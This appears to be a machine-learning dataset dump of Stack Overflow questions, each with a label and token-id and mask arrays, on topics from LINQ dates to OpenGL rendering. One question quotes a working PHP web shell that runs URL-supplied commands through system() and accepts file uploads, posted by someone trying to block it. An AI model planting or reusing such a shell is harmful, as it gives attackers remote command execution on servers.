368,
1267,
669,
15,
17,
31,
22,
43,
101,
20,
233,
109,
254,
12121,
26,
919,
2452,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How can I locate the default style sheet for a browser?
===
I would like to see the specific style elements that are used in the default stylesheet for the various browsers. Do the browsers have an actual file based stylesheetss that I locate on my system and read? If so, what are the default locations of those files? If not, where I can find this information?
| 0 | [
2,
184,
92,
31,
12717,
14,
12838,
1034,
6125,
26,
21,
16495,
60,
800,
3726,
3726,
31,
83,
101,
20,
196,
14,
1903,
1034,
2065,
30,
50,
147,
19,
14,
12838,
1034,
17627,
26,
14,
617,
16495,
18,
9,
107,
14,
16495,
18,
57,
40,
3463... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What is the best method for storing viewstate in an ASP.Net mobile web application?
===
I'm curious what techniques you find to be the best for storage and maintaining of viewstate with respect to an ASP.Net application running within a mobile web browser (i.e. Treo with Windows Mobile, or Blackberry Curve web browser). | 0 | [
2,
98,
25,
14,
246,
2109,
26,
25615,
1418,
3859,
19,
40,
28,
306,
9,
2328,
3241,
2741,
3010,
60,
800,
3726,
3726,
31,
22,
79,
7686,
98,
4212,
42,
477,
20,
44,
14,
246,
26,
4326,
17,
8215,
16,
1418,
3859,
29,
2873,
20,
40,
28... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Embedding Flash Player in Java?
===
I would like to embed Flash Player directly inside a Java application (in the same process) without a web browser. I would like to be able to play a Flash file, receive and send events (such as mouse clicks).
I found an article that describes how to do this for C#: http://www.adobe.com/devnet/flash/articles/stock_history.html
Unfortunately, I have no experience with C#, COM or ActiveX so I have no idea how to translate this to C++ (which Java can invoke using JNI). It's also not clear to me how the author is passing events back and forth between C# and Flash.
**Please explain how to implement this in C++** | 0 | [
2,
11911,
69,
3258,
4433,
517,
19,
8247,
60,
800,
3726,
3726,
31,
83,
101,
20,
11911,
69,
4433,
517,
1703,
572,
21,
8247,
3010,
13,
5,
108,
14,
205,
953,
6,
366,
21,
2741,
16495,
9,
31,
83,
101,
20,
44,
777,
20,
418,
21,
443... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Set the location in iPhone Simulator
===
First off, thank God for Joel and Jeff for putting stackoverflow together. I can already see the benefit of people sharing and voting on advice. Enough brown nosing! Does anyone know how to set the location (as it's picked up in CoreLocation services) in the iPhone Simulator? I've been browsing online docs all day and I can't find an answer. Speak up! | 0 | [
2,
309,
14,
1474,
19,
21024,
24565,
800,
3726,
3726,
64,
168,
15,
3531,
701,
26,
8873,
17,
3292,
26,
3873,
7566,
2549,
9990,
429,
9,
31,
92,
614,
196,
14,
4234,
16,
148,
6126,
17,
5880,
27,
4978,
9,
511,
886,
90,
18,
68,
187,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Why don't flash videos play after upgrading to Flash 10?
===
Upgraded to Flash 10 today and now many flash videos aren't playing on a lot of sites, including a couple i've created. What's the fix? | 0 | [
2,
483,
221,
22,
38,
4433,
6610,
418,
75,
26939,
20,
4433,
332,
60,
800,
3726,
3726,
9958,
20,
4433,
332,
786,
17,
130,
151,
4433,
6610,
4847,
22,
38,
791,
27,
21,
865,
16,
3259,
15,
215,
21,
1335,
31,
22,
195,
679,
9,
98,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
How to compare dates in LINQ?
===
I want to check if a given date is more than a month earlier than today's date using LINQ.
What is the syntax for this?
Thanks in advance. | 0 | [
2,
184,
20,
11590,
4076,
19,
6294,
1251,
60,
800,
3726,
3726,
31,
259,
20,
2631,
100,
21,
504,
1231,
25,
91,
119,
21,
1617,
1201,
119,
786,
22,
18,
1231,
568,
6294,
1251,
9,
98,
25,
14,
22649,
26,
48,
60,
3669,
19,
3612,
9,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
Reconciling a column across two tables in SQL Server
===
There are two Databases, Database A has a table A with columns of id, group and flag. Database B has a table B with columns of ID and flag. Table B is essentially a subset of table A where the group == 'B'.
They are updated/created in odd ways that are outside my understanding at this time, and are beyond the scope of this question (this is not the time to fix the basic setup and practices of this client).
The problem is that when the flag in Table A is updated, it is not reflected in table B, but should be. This is not a time-critical problem, so it was suggested I create a job to handle this. Maybe because it's the end of the week, or maybe because I've never written more than the most basic stored procedure (I'm a programmer, not a DBA), but I'm not sure how to go about this.
At a simplistic level, the stored procedure would be something along of the lines of
Select * in table A where group == B
Then, loop through the resultset, and for each id, update the flag.
But I'm not even sure how to loop in a stored procedure like this. Suggestions? Example code would be preferred. | 0 | [
2,
13460,
12837,
68,
21,
4698,
464,
81,
7484,
19,
4444,
255,
8128,
800,
3726,
3726,
80,
50,
81,
6018,
18,
15,
6018,
21,
63,
21,
859,
21,
29,
7498,
16,
4924,
15,
214,
17,
3157,
9,
6018,
334,
63,
21,
859,
334,
29,
7498,
16,
49... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How do I enable my php.ini file to affect all directories/sub-directories of my server?
===
A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])){
echo '
<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';}
?>
<?php
if(isset($_REQUEST['send'])){
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;}
else
{echo "Upload failed";}
}
?>
This script allows him to process commands through in-URL variables.
I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it's located within my public_html directory, but doesn't stop it if it's in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.
My question is, **how do I enable my php.ini file to affect all directories/sub-directories of my server?**
| 0 | [
2,
184,
107,
31,
9240,
51,
13,
26120,
9,
2651,
3893,
20,
6245,
65,
559,
1596,
118,
7563,
8,
10197,
1596,
16,
51,
8128,
60,
800,
3726,
3726,
21,
310,
1342,
1464,
31,
520,
71,
21,
3990,
27,
51,
2592,
8128,
17,
51,
860,
23782,
14... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
OpenGL: Fast off-screen rendering
===
I need to render quite alot (tens of thousands) images off-screen using OpenGL.
I am running under Windows and using QT as a framework. the solution can be windows only, it doesn't really matter.
From what I've found using Google there are a number of options for doing this
[This article][1] which seems rather dated suggest a few ways, out of which the relevant ones are:
- Windows specific - Use `CreateDIBSection` and somehow bind the texture to it.
- Use the pbuffers extension which I seem to be supported on my card.
[This thread][2] (Message 6) suggests a QT specific way of doing this using `QGLWidget::renderPixmap`
My question is - which one would be the fastest way? pbuffers seems to be the safest bet because it is guaranteed to be performed on the hardware but isn't using the CreateDIB method also goes through the hardware? What about the QT method? there seem to be some context-creation issue with this one. surely I would not want to create a new context for every image I create.
Does any one has some good experience with this?
[1]: http://www.mesa3d.org/brianp/sig97/offscrn.htm
[2]: http://lists.trolltech.com/qt-interest/2008-04/thread00106-0.html | 0 | [
2,
368,
8430,
45,
1512,
168,
8,
7187,
15307,
800,
3726,
3726,
31,
376,
20,
16535,
1450,
21,
5639,
13,
5,
8710,
16,
3805,
6,
3502,
168,
8,
7187,
568,
368,
8430,
9,
31,
589,
946,
131,
1936,
17,
568,
2593,
38,
28,
21,
6596,
9,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How do you make an UIPickerView component wrap around ?
===
I would like to show a set of consecutive numbers in a UIPickerView component but have it wrap around like the seconds component of the Clock->Timer application. The only behavior I can enable looks like the hours component of the Timer application, where you can scroll in only one direction. | 0 | [
2,
184,
107,
42,
233,
40,
13,
5661,
16855,
106,
4725,
5912,
8118,
140,
13,
60,
800,
3726,
3726,
31,
83,
101,
20,
298,
21,
309,
16,
4195,
2116,
19,
21,
13,
5661,
16855,
106,
4725,
5912,
47,
57,
32,
8118,
140,
101,
14,
2582,
591... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Where do I get the ULONG LoginID values to pass to WTSConnectSession?
===
Where do I get the ULONG LoginID values to pass to [WTSConnectSession][1]? I need both a ULONG LogonId and a ULONG TargetLogonId.
Is this the same as the SessionID I'll get back from [WTSQuerySessionInformation][2] when I pass in WTSSessionId? I suspect not (I tried it and WTSConnectSession did not work.)
The MSDN glossay says a logon identifier is a LUID which I can get via [GetTokenInformation][3] but that is a structure, not a ULONG. Is there an API to get a ULONG loginId from an LUID?
[1]: http://msdn.microsoft.com/en-us/library/bb394782(VS.85).aspx
[2]: http://msdn.microsoft.com/en-us/library/aa383838(VS.85).aspx
[3]: http://msdn.microsoft.com/en-us/library/aa446671(VS.85).aspx | 0 | [
2,
113,
107,
31,
164,
14,
287,
2701,
6738,
2651,
43,
4070,
20,
1477,
20,
619,
38,
18,
25996,
7202,
5991,
60,
800,
3726,
3726,
113,
107,
31,
164,
14,
287,
2701,
6738,
2651,
43,
4070,
20,
1477,
20,
636,
499,
38,
18,
25996,
7202,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Is there a name for this type of page navigation?
===
Just out of curiosity, is there a name for the kind of navigation I've been working on?
It looks like this:
`<<first <previous 1 2 3 4 5 [...] 20 next> last>>`
i.e. navigation where you've got *x* pages, but you don't want to show *x* links, you want to limit the amount of space taken up, so you show *y* links at a time, and indicate the existence of the other pages with an elision.
At some point in the middle, it would look like this:
`<<first <previous [...] 8 9 10 11 12 [...] 20 next> last>>`
with elisions on both sides. | 0 | [
2,
25,
80,
21,
204,
26,
48,
1001,
16,
2478,
8368,
60,
800,
3726,
3726,
114,
70,
16,
11581,
15,
25,
80,
21,
204,
26,
14,
825,
16,
8368,
31,
22,
195,
74,
638,
27,
60,
32,
1879,
101,
48,
45,
13,
1,
3552,
13,
1,
3515,
1755,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Pattern for wrapping an Asynchronous JavaScript function to make it synchronous
===
I'm working with a JavaScript API where most of the functions are asynchronous. The API is the [WebKit JavaScript Database API][1] which is a binding to a subset of functionality to manipulate SQLite3 databases. I understand the design decision to make things async as to not block and provide a responsive user interface. In my situation I know that my usage of the async API calls will execute fast. Since this is the case I'd like to provide my developers a cleaner and easier to use wrapper API that forces synchronous calls.
Here's the async call
db.executeSql(sqlStatement, function(result) {
// do something with result
});
And here's what I'd like to be able to do
var result = dbWrapper.executeSql(sqlStatement);
// do something with result
Is there a design pattern/way to do this? A written or linked to code example is preferred. The target platform/broswer is Mobile Safari on the iPhone.
Thank you
[1]: http://webkit.org/blog/126/webkit-does-html5-client-side-database-storage/ | 0 | [
2,
3732,
26,
13437,
40,
21,
16023,
1291,
8247,
8741,
1990,
20,
233,
32,
13,
16023,
1291,
800,
3726,
3726,
31,
22,
79,
638,
29,
21,
8247,
8741,
21,
2159,
113,
127,
16,
14,
3719,
50,
21,
16023,
1291,
9,
14,
21,
2159,
25,
14,
636... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Which LINQ syntax do you prefer? Fluent or Query Expression
===
LINQ is one of the greatest improvements to .NET since generics and it saves me tons of time, and lines of code. However, the fluent syntax seems to come much more natural to me than the query expression syntax.
![LINQ Syntax Choice][1]
Which do you prefer and if you write standards for your company, do you enforce one over the other?
[1]: http://jvance.com/media/2008/10/18/LinqSyntax16.media | 4 | [
2,
56,
6294,
1251,
22649,
107,
42,
6369,
60,
19252,
54,
25597,
1803,
800,
3726,
3726,
6294,
1251,
25,
53,
16,
14,
3023,
7951,
20,
13,
9,
2328,
179,
12733,
18,
17,
32,
16815,
55,
5278,
16,
85,
15,
17,
1560,
16,
1797,
9,
207,
15... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Books for web application development?
===
What books would you recommend for getting into web application development? | 4 | [
2,
964,
26,
2741,
3010,
522,
60,
800,
3726,
3726,
98,
964,
83,
42,
12360,
26,
1017,
77,
2741,
3010,
522,
60,
3,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
Ajax Loading Icons - Where to Get?
===
Anyone know where I can get this icon in 32x32?
![alt text][1]
And more generally what's a good source for finding Ajax loading icons? [This one][2] only offers 16x16.
[1]: http://img227.imageshack.us/my.php?image=littleloaderiw6.gif
[2]: http://www.ajaxload.info/ | 0 | [
2,
20624,
12797,
9801,
18,
13,
8,
113,
20,
164,
60,
800,
3726,
3726,
1276,
143,
113,
31,
92,
164,
48,
9801,
19,
2512,
396,
3125,
60,
13,
187,
2558,
192,
38,
1854,
500,
2558,
165,
500,
17,
91,
1469,
98,
22,
18,
21,
254,
1267,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
SQL Databases and field sizes
===
A long time ago when I was a young lat I used to do a lot of assembler and optimization programming. Today I mainly find myself building web apps (it's alright too...). However, whenever I create fields for database tables I find myself using values like 16, 32 & 128 for text fields and I try to combine boolean values into SET data fields.
Is giving a text field a length of 9 going to make my database slower in the long run and do I actually help it by specifying a field length that is more easy memory aligned?
| 0 | [
2,
4444,
255,
6018,
18,
17,
575,
13403,
800,
3726,
3726,
21,
175,
85,
1464,
76,
31,
23,
21,
461,
14303,
31,
147,
20,
107,
21,
865,
16,
13,
13736,
139,
17,
21597,
3143,
9,
786,
31,
2011,
477,
992,
353,
2741,
4865,
18,
13,
5,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Python templates for web designers
===
What are some good templating engines for web designers? I definitely have my preferences as to what I'd prefer to work with as a programmer. But web designers seem to have a different way of thinking about things and thus may prefer a different system.
So:
- Web designers: what templating engine do you prefer to work with?
- programmers: what templating engines have you worked with that made working with web designers easy? | 0 | [
2,
20059,
22894,
18,
26,
2741,
12760,
800,
3726,
3726,
98,
50,
109,
254,
13,
9577,
255,
1880,
4016,
26,
2741,
12760,
60,
31,
4939,
57,
51,
9808,
18,
28,
20,
98,
31,
22,
43,
6369,
20,
170,
29,
28,
21,
17968,
9,
47,
2741,
12760,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
ASP.net MVC and jQueryUI dilemma
===
I just moved a project to the the beta release of ASP.net MVC framework and the only problem I am having is with jQuery and jQueryUI. Here's the deal:
In Site.Master are the following script references:
<script src="../../Scripts/jquery-1.2.6.js" type="text/javascript"></script>
<script src="../../Scripts/jquery-ui.js" type="text/javascript"></script>
And using those, the accordian UI that I have on one of the views works perfectly, except for one problem: the images from ThemeRoller aren't included on the page. If I comment out the jQuery references, the ThemeRoller images are there. All of the css is in the Content folder and all of the scripts are in the Scripts folder.
I know this is a silly path problem, but it's making me twitch.
What am I missing? | 0 | [
2,
28,
306,
9,
2328,
307,
8990,
17,
487,
2005,
11867,
49,
23314,
800,
3726,
3726,
31,
114,
385,
21,
669,
20,
14,
14,
8434,
830,
16,
28,
306,
9,
2328,
307,
8990,
6596,
17,
14,
104,
1448,
31,
589,
452,
25,
29,
487,
8190,
93,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How to create a numpy record array from C
===
On the Python side, I can create new numpy record arrays as follows:
